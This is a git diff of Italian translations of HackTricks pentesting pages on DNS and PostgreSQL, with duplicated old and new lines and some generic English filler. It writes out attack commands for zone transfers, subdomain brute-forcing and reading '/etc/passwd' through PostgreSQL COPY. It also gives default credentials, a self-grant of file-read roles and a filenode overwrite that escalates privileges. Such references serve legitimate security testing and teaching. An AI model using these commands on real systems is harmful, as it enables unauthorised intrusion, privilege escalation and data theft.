<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 53 - Test di penetrazione DNS
|
||||
# 53 - Pentesting DNS
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,21 +6,21 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Informazioni di base**
|
||||
## **Informazioni di Base**
|
||||
|
||||
Il **Domain Name System (DNS)** funge da directory di Internet, consentendo agli utenti di accedere ai siti web attraverso **nomi di dominio facili da ricordare** come google.com o facebook.com, invece degli indirizzi numerici del Protocollo Internet (IP). Traducendo i nomi di dominio in indirizzi IP, il DNS garantisce che i browser web possano caricare rapidamente le risorse Internet, semplificando il modo in cui navighiamo nel mondo online.
|
||||
|
||||
|
@ -34,8 +34,8 @@ PORT STATE SERVICE REASON
|
|||
### Diversi Server DNS
|
||||
|
||||
* **Server Radice DNS**: Questi si trovano in cima alla gerarchia DNS, gestendo i domini di primo livello e intervenendo solo se i server di livello inferiore non rispondono. La Internet Corporation for Assigned Names and Numbers (**ICANN**) sovraintende alla loro operatività, con un conteggio globale di 13.
|
||||
* **Server Autoritativi**: Questi server hanno l'ultima parola per le query nelle loro zone designate, offrendo risposte definitive. Se non riescono a fornire una risposta, la query viene inoltrata ai server radice.
|
||||
* **Server Non Autoritativi**: Senza proprietà sulle zone DNS, questi server raccolgono informazioni di dominio attraverso query ad altri server.
|
||||
* **Server dei Nomi Autoritativi**: Questi server hanno l'ultima parola per le query nelle loro zone designate, offrendo risposte definitive. Se non possono fornire una risposta, la query viene inoltrata ai server radice.
|
||||
* **Server dei Nomi Non Autoritativi**: Senza proprietà sulle zone DNS, questi server raccolgono informazioni di dominio attraverso query ad altri server.
|
||||
* **Server DNS di Cache**: Questo tipo di server memorizza le risposte alle query precedenti per un determinato periodo al fine di velocizzare i tempi di risposta per le richieste future, con la durata della cache dettata dal server autoritativo.
|
||||
* **Server di Inoltro**: Svolgendo un ruolo diretto, i server di inoltro inoltrano semplicemente le query a un altro server.
|
||||
* **Resolver**: Integrati nei computer o nei router, i resolver eseguono la risoluzione dei nomi localmente e non sono considerati autoritativi.
|
||||
|
@ -51,7 +51,7 @@ dig version.bind CHAOS TXT @DNS
|
|||
```
|
||||
Inoltre, lo strumento [`fpdns`](https://github.com/kirei/fpdns) può anche identificare il server.
|
||||
|
||||
È anche possibile acquisire il banner anche con uno script di **nmap**:
|
||||
È anche possibile ottenere il banner anche con uno script di **nmap**:
|
||||
```
|
||||
--script dns-nsid
|
||||
```
|
||||
|
@ -119,7 +119,7 @@ Un altro strumento per farlo: [https://github.com/amine7536/reverse-scan](https:
|
|||
|
||||
Puoi interrogare intervalli IP inversi a [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (questo strumento è anche utile con BGP).
|
||||
|
||||
### DNS - Subdomains BF
|
||||
### DNS - Sottodomini BF
|
||||
```bash
|
||||
dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt <DOMAIN>
|
||||
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
|
||||
|
@ -144,7 +144,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
|||
```
|
||||
### IPv6
|
||||
|
||||
Forzare la ricerca utilizzando richieste "AAAA" per raccogliere gli indirizzi IPv6 dei sottodomini.
|
||||
Forzatura usando richieste "AAAA" per raccogliere gli IPv6 dei sottodomini.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
|
@ -152,19 +152,21 @@ dnsdict6 -s -t <domain>
|
|||
|
||||
### Introduction
|
||||
|
||||
When pentesting IPv6 networks, it is important to not overlook the reverse DNS records. These records can provide valuable information about the network infrastructure and potentially reveal misconfigurations that could be exploited during an attack.
|
||||
In IPv6, reverse DNS lookup is performed using the `ip6.arpa` domain. To bruteforce reverse DNS in IPv6 addresses, you can use tools like `dnsrecon` or `dnsenum`.
|
||||
|
||||
### Bruteforcing reverse DNS
|
||||
### Steps to bruteforce reverse DNS in IPv6 addresses
|
||||
|
||||
One common technique used during pentests is bruteforcing reverse DNS records using IPv6 addresses. This involves trying to resolve all possible PTR records for a given IPv6 address range. By doing this, pentesters can uncover hidden services, internal hostnames, or other sensitive information that may not be readily apparent.
|
||||
1. **Generate IPv6 addresses**: Use a tool like `ipv6gen` to generate a list of IPv6 addresses to bruteforce.
|
||||
|
||||
### Tools for bruteforcing reverse DNS
|
||||
2. **Perform reverse DNS lookup**: Use a tool like `dnsrecon` or `dnsenum` to perform reverse DNS lookup on the generated IPv6 addresses.
|
||||
|
||||
There are several tools available for bruteforcing reverse DNS records in IPv6 networks. Some popular tools include `dnsrecon`, `dnsenum`, and `Fierce`. These tools can automate the process of querying DNS servers for PTR records and help pentesters quickly identify potential targets for further investigation.
|
||||
3. **Analyze results**: Analyze the results to identify any misconfigurations or vulnerabilities in the reverse DNS records.
|
||||
|
||||
4. **Exploit**: If any misconfigurations or vulnerabilities are found, exploit them to gain further access or information.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Bruteforcing reverse DNS records in IPv6 networks can be a valuable technique for uncovering hidden information and identifying potential attack vectors. By thoroughly investigating reverse DNS records, pentesters can gain a better understanding of the target network and improve the overall success of their pentest.
|
||||
Bruteforcing reverse DNS in IPv6 addresses can help identify potential security weaknesses in a network's DNS configuration. It is important to perform such tests regularly to ensure the security of the network.
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
|
@ -183,13 +185,13 @@ dig google.com A @<IP>
|
|||
|
||||
![](<../.gitbook/assets/image (276).png>)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicarsi a scavare più a fondo, aprire shell e divertirsi.
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicarsi a approfondire, ottenere shell e divertirsi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
### Email a un account inesistente
|
||||
### Invio di posta a un account inesistente
|
||||
|
||||
Attraverso l'esame di una notifica di mancata consegna (NDN) scatenata da un'email inviata a un indirizzo non valido all'interno di un dominio target, spesso vengono rivelati dettagli preziosi sulla rete interna.
|
||||
|
||||
|
@ -231,8 +233,6 @@ host.conf
|
|||
/etc/bind/named.conf.log
|
||||
/etc/bind/*
|
||||
```
|
||||
Impostazioni pericolose durante la configurazione di un server Bind:
|
||||
|
||||
| **Opzione** | **Descrizione** |
|
||||
| ----------------- | ------------------------------------------------------------------------------ |
|
||||
| `allow-query` | Definisce quali host sono autorizzati a inviare richieste al server DNS. |
|
||||
|
@ -244,8 +244,6 @@ Impostazioni pericolose durante la configurazione di un server Bind:
|
|||
|
||||
* [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
|
||||
* Libro: **Network Security Assessment 3rd edition**
|
||||
|
||||
## Comandi Automatici di HackTricks
|
||||
```
|
||||
Protocol_Name: DNS #Protocol Abbreviation if there is one.
|
||||
Port_Number: 53 #Comma separated if there is more than one.
|
||||
|
@ -298,9 +296,9 @@ Description: DNS enumeration without the need to run msfconsole
|
|||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicare più tempo a scavare in profondità, aprire shell e divertirsi.
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicarsi a scavare più a fondo, aprire shell e divertirsi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# 5432,5433 - Test di penetrazione su PostgreSQL
|
||||
# 5432,5433 - Test di penetrazione PostgreSQL
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -14,9 +14,9 @@ Ottieni l'accesso oggi:
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
|
@ -118,37 +118,102 @@ the server terminated abnormally before or while processing the request
|
|||
|
||||
### Enumeration
|
||||
|
||||
When conducting a penetration test against a PostgreSQL database server, start by enumerating the following:
|
||||
#### Version Detection
|
||||
|
||||
1. **PostgreSQL Version**: Identify the version of PostgreSQL running on the server. This information can help determine potential vulnerabilities associated with that specific version.
|
||||
To determine the version of PostgreSQL running on the target system, you can use tools like `pgcli`, `pgadmin`, or `psql`.
|
||||
|
||||
2. **Database Users**: Enumerate the database users to understand the level of access each user has and identify any privileged accounts.
|
||||
```bash
|
||||
pgcli -h <target_ip> -p <port>
|
||||
pgadmin
|
||||
psql -h <target_ip> -p <port> -U <username>
|
||||
```
|
||||
|
||||
3. **Database Schemas**: Identify the database schemas to gain insights into the structure of the database and potential areas to target during testing.
|
||||
#### Service Detection
|
||||
|
||||
4. **Network Services**: Determine the network services running on the server and identify any additional services that could be potential entry points.
|
||||
You can use tools like Nmap to detect PostgreSQL service running on the target system.
|
||||
|
||||
```bash
|
||||
nmap -sV -p <port> <target_ip>
|
||||
```
|
||||
|
||||
### Exploitation
|
||||
|
||||
After completing the enumeration phase, proceed with exploiting any identified vulnerabilities or misconfigurations. Common exploitation techniques include:
|
||||
#### Default Credentials
|
||||
|
||||
1. **SQL Injection**: Exploit SQL injection vulnerabilities to extract data from the database or perform unauthorized actions.
|
||||
Always try default credentials like `postgres:postgres`, `postgres:password`, or `postgres:<blank>`.
|
||||
|
||||
2. **Weak Credentials**: Attempt to crack weak passwords or default credentials to gain unauthorized access to the database server.
|
||||
#### Weak Passwords
|
||||
|
||||
3. **Privilege Escalation**: Look for opportunities to escalate privileges within the database server to gain higher levels of access.
|
||||
Brute force attacks can be performed to crack weak passwords used for PostgreSQL authentication.
|
||||
|
||||
#### SQL Injection
|
||||
|
||||
Look for SQL injection vulnerabilities in web applications that interact with PostgreSQL databases.
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Once access to the PostgreSQL database server is achieved, consider performing the following post-exploitation activities:
|
||||
#### Dumping Data
|
||||
|
||||
1. **Data Extraction**: Extract sensitive data from the database, such as user credentials, financial information, or intellectual property.
|
||||
You can dump data from PostgreSQL using tools like `pg_dump` or by accessing the database directly.
|
||||
|
||||
2. **Persistence**: Establish persistence on the server by creating backdoors or scheduled tasks to maintain access even after the penetration test is completed.
|
||||
```bash
|
||||
pg_dump -h <target_ip> -p <port> -U <username> <database_name> > dump.sql
|
||||
```
|
||||
|
||||
3. **Covering Tracks**: Remove any evidence of the penetration test activities to avoid detection and maintain stealth within the network.
|
||||
#### Privilege Escalation
|
||||
|
||||
By following these steps, penetration testers can effectively assess the security posture of PostgreSQL database servers and help organizations improve their overall security defenses.
|
||||
Check for misconfigurations or vulnerabilities that could allow privilege escalation within the PostgreSQL environment.
|
||||
```
|
||||
```html
|
||||
## PostgreSQL
|
||||
|
||||
### Enumerazione
|
||||
|
||||
#### Rilevamento della versione
|
||||
|
||||
Per determinare la versione di PostgreSQL in esecuzione sul sistema di destinazione, è possibile utilizzare strumenti come `pgcli`, `pgadmin` o `psql`.
|
||||
|
||||
```bash
|
||||
pgcli -h <target_ip> -p <port>
|
||||
pgadmin
|
||||
psql -h <target_ip> -p <port> -U <username>
|
||||
```
|
||||
|
||||
#### Rilevamento del servizio
|
||||
|
||||
È possibile utilizzare strumenti come Nmap per rilevare il servizio PostgreSQL in esecuzione sul sistema di destinazione.
|
||||
|
||||
```bash
|
||||
nmap -sV -p <port> <target_ip>
|
||||
```
|
||||
|
||||
### Sfruttamento
|
||||
|
||||
#### Credenziali predefinite
|
||||
|
||||
Prova sempre le credenziali predefinite come `postgres:postgres`, `postgres:password` o `postgres:<blank>`.
|
||||
|
||||
#### Password deboli
|
||||
|
||||
Gli attacchi di forza bruta possono essere eseguiti per violare le password deboli utilizzate per l'autenticazione di PostgreSQL.
|
||||
|
||||
#### Iniezione SQL
|
||||
|
||||
Cerca vulnerabilità di iniezione SQL nelle applicazioni web che interagiscono con i database PostgreSQL.
|
||||
|
||||
### Post-Sfruttamento
|
||||
|
||||
#### Dumping dei dati
|
||||
|
||||
È possibile eseguire il dump dei dati da PostgreSQL utilizzando strumenti come `pg_dump` o accedendo direttamente al database.
|
||||
|
||||
```bash
|
||||
pg_dump -h <target_ip> -p <port> -U <username> <database_name> > dump.sql
|
||||
```
|
||||
|
||||
#### Escalation dei privilegi
|
||||
|
||||
Verifica la presenza di configurazioni errate o vulnerabilità che potrebbero consentire l'escalation dei privilegi all'interno dell'ambiente PostgreSQL.
|
||||
```
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
|
@ -158,7 +223,7 @@ DETAIL: FATAL: password authentication failed for user "name"
|
|||
DETAIL: could not connect to server: Connection timed out Is the server
|
||||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
```
|
||||
In PL/pgSQL functions, attualmente non è possibile ottenere i dettagli delle eccezioni. Tuttavia, se si ha accesso diretto al server PostgreSQL, è possibile recuperare le informazioni necessarie. Se l'estrazione di nomi utente e password dalle tabelle di sistema non è fattibile, si può considerare l'utilizzo del metodo di attacco con lista di parole discusso nella sezione precedente, poiché potrebbe produrre risultati positivi.
|
||||
In PL/pgSQL functions, attualmente non è possibile ottenere i dettagli delle eccezioni. Tuttavia, se si ha accesso diretto al server PostgreSQL, è possibile recuperare le informazioni necessarie. Se l'estrazione di nomi utente e password dalle tabelle di sistema non è fattibile, si potrebbe considerare l'utilizzo del metodo di attacco con lista di parole discusso nella sezione precedente, poiché potrebbe potenzialmente produrre risultati positivi.
|
||||
|
||||
## Enumerazione dei Privilegi
|
||||
|
||||
|
@ -170,12 +235,12 @@ In PL/pgSQL functions, attualmente non è possibile ottenere i dettagli delle ec
|
|||
| rolinherit | Il ruolo eredita automaticamente i privilegi dei ruoli di cui è membro |
|
||||
| rolcreaterole | Il ruolo può creare altri ruoli |
|
||||
| rolcreatedb | Il ruolo può creare database |
|
||||
| rolcanlogin | Il ruolo può effettuare il login. In altre parole, questo ruolo può essere dato come identificatore di autorizzazione della sessione iniziale |
|
||||
| rolreplication | Il ruolo è un ruolo di replica. Un ruolo di replica può avviare connessioni di replica e creare ed eliminare slot di replica. |
|
||||
| rolcanlogin | Il ruolo può effettuare il login. Questo significa che questo ruolo può essere dato come identificatore di autorizzazione della sessione iniziale. |
|
||||
| rolreplication | Il ruolo è un ruolo di replica. Un ruolo di replica può avviare connessioni di replica e creare ed eliminare slot di replica. |
|
||||
| rolconnlimit | Per i ruoli che possono effettuare il login, imposta il numero massimo di connessioni simultanee che questo ruolo può effettuare. -1 significa nessun limite. |
|
||||
| rolpassword | Non la password (viene sempre visualizzata come `********`) |
|
||||
| rolvaliduntil | Scadenza della password (utilizzata solo per l'autenticazione tramite password); nullo se non scade |
|
||||
| rolbypassrls | Il ruolo ignora ogni policy di sicurezza a livello di riga, vedere [Sezione 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) per ulteriori informazioni. |
|
||||
| rolvaliduntil | Ora di scadenza della password (utilizzata solo per l'autenticazione tramite password); nullo se non scade |
|
||||
| rolbypassrls | Il ruolo ignora ogni criterio di sicurezza a livello di riga, vedere [Sezione 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) per ulteriori informazioni. |
|
||||
| rolconfig | Impostazioni predefinite del ruolo per le variabili di configurazione in esecuzione |
|
||||
| oid | ID del ruolo |
|
||||
|
||||
|
@ -186,7 +251,7 @@ In PL/pgSQL functions, attualmente non è possibile ottenere i dettagli delle ec
|
|||
* Se sei membro di **`pg_write_server_files`** puoi **scrivere** file
|
||||
|
||||
{% hint style="info" %}
|
||||
Nota che in Postgres un **utente**, un **gruppo** e un **ruolo** sono la **stessa cosa**. Dipende solo da **come lo si utilizza** e se si **permette il login**.
|
||||
Nota che in Postgres un **utente**, un **gruppo** e un **ruolo** sono lo **stesso**. Dipende solo da **come lo si utilizza** e se si **permette il login**.
|
||||
{% endhint %}
|
||||
```sql
|
||||
# Get users roles
|
||||
|
@ -277,14 +342,14 @@ COPY demo from '/etc/passwd';
|
|||
SELECT * FROM demo;
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Ricorda che se non sei un super utente ma hai i permessi **CREATEROLE** puoi **renderti membro di quel gruppo:**
|
||||
Ricorda che se non sei un super utente ma hai le autorizzazioni **CREATEROLE** puoi **renderti membro di quel gruppo:**
|
||||
```sql
|
||||
GRANT pg_read_server_files TO username;
|
||||
```
|
||||
[**Maggiori informazioni.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
[**Ulteriori informazioni.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Ci sono **altre funzioni di postgres** che possono essere utilizzate per **leggere file o elencare una directory**. Solo **superutenti** e **utenti con permessi espliciti** possono utilizzarle:
|
||||
Ci sono **altre funzioni di postgres** che possono essere utilizzate per **leggere file o elencare una directory**. Solo **superutenti** e **utenti con autorizzazioni esplicite** possono utilizzarle:
|
||||
```sql
|
||||
# Before executing these function go to the postgres DB (not in the template1)
|
||||
\c postgres
|
||||
|
@ -347,30 +412,30 @@ Tuttavia, ci sono **altre tecniche per caricare grandi file binari:**
|
|||
|
||||
### Aggiornamento dei dati della tabella PostgreSQL tramite scrittura di file locale
|
||||
|
||||
Se hai le autorizzazioni necessarie per leggere e scrivere file del server PostgreSQL, puoi aggiornare qualsiasi tabella sul server sovrascrivendo il file associato nella [directory dei dati di PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Maggiori informazioni su questa tecnica** [**qui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
Se hai le autorizzazioni necessarie per leggere e scrivere file del server PostgreSQL, puoi aggiornare qualsiasi tabella sul server sovrascrivendo il file associato nel [directory dei dati di PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Maggiori informazioni su questa tecnica** [**qui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
Passaggi necessari:
|
||||
|
||||
1. Ottenere la directory dei dati di PostgreSQL
|
||||
1. Ottenere il directory dei dati di PostgreSQL
|
||||
|
||||
```sql
|
||||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**Nota:** Se non riesci a recuperare il percorso corrente della directory dei dati dalle impostazioni, puoi interrogare la versione principale di PostgreSQL tramite la query `SELECT version()` e provare a forzare il percorso. I percorsi comuni della directory dei dati nelle installazioni Unix di PostgreSQL sono `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Un nome di cluster comune è `main`.
|
||||
**Nota:** Se non riesci a recuperare il percorso corrente del directory dei dati dalle impostazioni, puoi interrogare la versione principale di PostgreSQL tramite la query `SELECT version()` e provare a forzare il percorso. I percorsi comuni del directory dei dati nelle installazioni Unix di PostgreSQL sono `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Un nome di cluster comune è `main`.
|
||||
2. Ottenere un percorso relativo al filenode, associato alla tabella di destinazione
|
||||
|
||||
```sql
|
||||
SELECT pg_relation_filepath('{NOME_TABELLA}')
|
||||
SELECT pg_relation_filepath('{TABLE_NAME}')
|
||||
```
|
||||
|
||||
Questa query dovrebbe restituire qualcosa come `base/3/1337`. Il percorso completo sul disco sarà `$DATA_DIRECTORY/base/3/1337`, cioè `/var/lib/postgresql/13/main/base/3/1337`.
|
||||
3. Scaricare il filenode tramite le funzioni `lo_*`
|
||||
3. Scarica il filenode tramite le funzioni `lo_*`
|
||||
|
||||
```sql
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
4. Ottenere il tipo di dati associato alla tabella di destinazione
|
||||
4. Ottieni il tipo di dati associato alla tabella di destinazione
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
|
@ -389,33 +454,33 @@ JOIN pg_type
|
|||
ON pg_attribute.atttypid = pg_type.oid
|
||||
JOIN pg_class
|
||||
ON pg_attribute.attrelid = pg_class.oid
|
||||
WHERE pg_class.relname = '{NOME_TABELLA}';
|
||||
WHERE pg_class.relname = '{TABLE_NAME}';
|
||||
```
|
||||
5. Utilizzare il [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) per [modificare il filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); impostare tutti i flag booleani `rol*` su 1 per le autorizzazioni complete.
|
||||
5. Utilizza il [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) per [modificare il filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); impostare tutti i flag booleani `rol*` su 1 per le autorizzazioni complete.
|
||||
|
||||
```bash
|
||||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_DA_PASSO_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
||||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
||||
```
|
||||
|
||||
![Demo del PostgreSQL Filenode Editor](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
|
||||
